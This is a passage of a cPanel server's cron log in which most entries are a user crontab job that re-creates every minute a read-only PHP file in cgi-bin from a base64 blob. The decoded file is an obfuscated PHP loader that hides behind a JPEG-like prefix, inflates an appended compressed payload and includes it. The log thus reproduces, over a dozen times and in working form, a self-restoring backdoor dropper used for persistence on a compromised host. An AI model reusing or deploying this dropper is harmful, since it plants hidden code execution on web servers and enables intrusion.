g2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:48:01 server CROND[16411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:49:01 server CROND[16481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:50:01 server CROND[16654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 21:50:01 server CROND[16658]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 21:50:01 server CROND[16659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:50:01 server CROND[16657]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 21:50:01 server CROND[16656]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 21:51:01 server CROND[16820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:52:01 server CROND[16886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:53:01 server CROND[16959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:54:01 server CROND[17025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:55:01 server CROND[17193]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 21:55:01 server CROND[17194]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 21:55:01 server CROND[17197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:56:01 server CROND[17321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:57:01 server CROND[17389]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 21:57:01 server CROND[17391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:58:01 server CROND[17451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:59:01 server CROND[17516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:00:01 server CROND[17637]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 22:00:01 server CROND[17639]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 22:00:01 server CROND[17638]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  6 22:00:01 server CROND[17642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:00:01 server CROND[17641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 22:01:01 server CROND[17822]: (root) CMD (run-parts /etc/cron.hourly)
